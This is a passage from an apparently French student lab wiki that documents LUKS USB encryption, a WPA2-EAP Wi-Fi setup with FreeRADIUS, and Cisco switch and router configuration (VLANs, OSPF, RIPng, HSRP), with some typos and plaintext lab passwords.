 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
